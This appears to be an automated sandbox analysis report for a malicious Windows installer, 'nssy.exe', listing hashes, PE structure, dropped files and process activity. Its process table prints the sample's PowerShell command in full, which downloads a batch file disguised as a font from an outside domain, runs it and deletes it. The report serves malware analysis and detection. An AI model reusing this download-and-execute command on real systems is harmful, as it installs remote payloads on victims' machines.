| File name: | nssy.exe |
| Full analysis: | https://app.any.run/tasks/3e622c45-1e95-4147-8782-e9ce8d86bbda |
| Verdict: | Malicious activity |
| Analysis date: | July 21, 2020, 05:32:18 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive |
| MD5: | 95780ABACEFA4E033E79F8459D73E081 |
| SHA1: | 1B967BD4A77F43DCF7BCA4D07EA57AAF0C3990A6 |
| SHA256: | 55B45774D8BE1AC677E995DF1C849F4FC887CC757AAE94731DD9154A2E3442DE |
| SSDEEP: | 1536:pyjPq79ZXcmA5glvMxpediWymgHTbVXV9QoA9GsRKjQo6yyvQR+HMVKNd:p1ZZXNADxkgHTbJVBA9GiKp6y3qbz |
MALICIOUS
Application was dropped or rewritten from another process
- nsDF9.tmp (PID: 1708)
Executes PowerShell scripts
- cmd.exe (PID: 2464)
Loads dropped or rewritten executable
- nssy.exe (PID: 2308)
SUSPICIOUS
Executable content was dropped or overwritten
- nssy.exe (PID: 2308)
Creates files in the user directory
- powershell.exe (PID: 992)
- powershell.exe (PID: 2688)
Starts application with an unusual extension
- nssy.exe (PID: 2308)
Starts CMD.EXE for commands execution
- nsDF9.tmp (PID: 1708)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (42.2) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (37.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (8.8) |
| .exe | | | Win32 Executable (generic) (6) |
| .exe | | | Generic Win/DOS Executable (2.7) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2017:04:14 11:07:23+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 14 |
| CodeSize: | 27648 |
| InitializedDataSize: | 186880 |
| UninitializedDataSize: | 2048 |
| EntryPoint: | 0x350a |
| OSVersion: | 5.1 |
| ImageVersion: | 6 |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 10.0.18362.1 |
| ProductVersionNumber: | 10.0.18362.1 |
| FileFlagsMask: | 0x0000 |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| FileDescription: | - |
| FileVersion: | 10.0.18362.1 |
| LegalCopyright: | Microsoft Corporation |
| ProductVersion: | 10.0.18362.1 |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 14-Apr-2017 09:07:23 |
| Detected languages: |
|
| FileDescription: | - |
| FileVersion: | 10.0.18362.1 |
| LegalCopyright: | Microsoft Corporation |
| ProductVersion: | 10.0.18362.1 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000E8 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 5 |
| Time date stamp: | 14-Apr-2017 09:07:23 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x00006A58 | 0x00006C00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.40792 |
.rdata | 0x00008000 | 0x00001AC8 | 0x00001C00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.91568 |
.data | 0x0000A000 | 0x0002AAD8 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 1.9083 |
.ndata | 0x00035000 | 0x0001C000 | 0x00000000 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
.rsrc | 0x00051000 | 0x0000BE10 | 0x0000C000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 3.85003 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.29383 | 1081 | UNKNOWN | English - United States | RT_MANIFEST |
2 | 3.18977 | 9640 | UNKNOWN | English - United States | RT_ICON |
3 | 3.4226 | 6760 | UNKNOWN | English - United States | RT_ICON |
4 | 3.17064 | 4264 | UNKNOWN | English - United States | RT_ICON |
5 | 3.39088 | 2440 | UNKNOWN | English - United States | RT_ICON |
6 | 7.40758 | 2267 | UNKNOWN | English - United States | RT_ICON |
7 | 3.34639 | 1720 | UNKNOWN | English - United States | RT_ICON |
8 | 2.99605 | 1128 | UNKNOWN | English - United States | RT_ICON |
103 | 2.93465 | 118 | UNKNOWN | English - United States | RT_GROUP_ICON |
105 | 2.73893 | 514 | UNKNOWN | English - United States | RT_DIALOG |
Imports
ADVAPI32.dll |
COMCTL32.dll |
GDI32.dll |
KERNEL32.dll |
SHELL32.dll |
USER32.dll |
ole32.dll |
Total processes
42
Monitored processes
6
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 992 | powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; Stop-Process -processname nssy; $wc.DownloadFile('http://www.herbaliciousflowers.com/fonts/gothic_bold.ttf', $tempfile); & $tempfile '0x0w0he9jg6y9eu5e5y767h'; Remove-Item -Force $tempfile" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1708 | "C:\Users\admin\AppData\Local\Temp\nsjDE8.tmp\nsDF9.tmp" "C:\Windows\system32\cmd.exe" /C cd "C:\Users\admin\AppData\Local\Temp\xA9" & "font.bat" | C:\Users\admin\AppData\Local\Temp\nsjDE8.tmp\nsDF9.tmp | — | nssy.exe | |||||||||||
User: admin Integrity Level: HIGH Exit code: 1 Modules
| |||||||||||||||
| 2288 | "C:\Users\admin\AppData\Local\Temp\nssy.exe" | C:\Users\admin\AppData\Local\Temp\nssy.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Version: 10.0.18362.1 Modules
| |||||||||||||||
| 2308 | "C:\Users\admin\AppData\Local\Temp\nssy.exe" | C:\Users\admin\AppData\Local\Temp\nssy.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 2 Version: 10.0.18362.1 Modules
| |||||||||||||||
| 2464 | "C:\Windows\system32\cmd.exe" /C cd "C:\Users\admin\AppData\Local\Temp\xA9" & "font.bat" | C:\Windows\system32\cmd.exe | — | nsDF9.tmp | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2688 | PowerShell.exe -windowstyle hidden { | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
804
Read events
694
Write events
110
Delete events
0
Modification events
| (PID) Process: | (2688) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\132\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (992) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\132\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
Executable files
3
Suspicious files
4
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2688 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YJ84EZPVNJJO2AOWGGXW.temp | — | |
MD5:— | SHA256:— | |||
| 992 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VJZCGQEKGKL5LA8GLDYG.temp | — | |
MD5:— | SHA256:— | |||
| 2308 | nssy.exe | C:\Users\admin\AppData\Local\Temp\nsjDE8.tmp\nsDF9.tmp | executable | |
MD5:— | SHA256:— | |||
| 992 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF111191.TMP | binary | |
MD5:— | SHA256:— | |||
| 2308 | nssy.exe | C:\Users\admin\AppData\Local\Temp\nsjDE8.tmp\UAC.dll | executable | |
MD5:ADB29E6B186DAA765DC750128649B63D | SHA256:2F7F8FC05DC4FD0D5CDA501B47E4433357E887BBFED7292C028D99C73B52DC08 | |||
| 2688 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 992 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2308 | nssy.exe | C:\Users\admin\AppData\Local\Temp\nsjDE8.tmp\nsExec.dll | executable | |
MD5:7F3047B043ECAAE600D35A351E02FE61 | SHA256:2328458BDF75663CE89667D442254E15600C8CA0678DC84AA29169939C35D038 | |||
| 2688 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF110f3f.TMP | binary | |
MD5:— | SHA256:— | |||
| 2308 | nssy.exe | C:\Users\admin\AppData\Local\Temp\xA9\font.bat | text | |
MD5:6695E15911283A348D869D7B02687545 | SHA256:1A7AF63FC83BA93CFB286BE440E28F10179357C3D15E583BED1C6A55E344AB2E | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report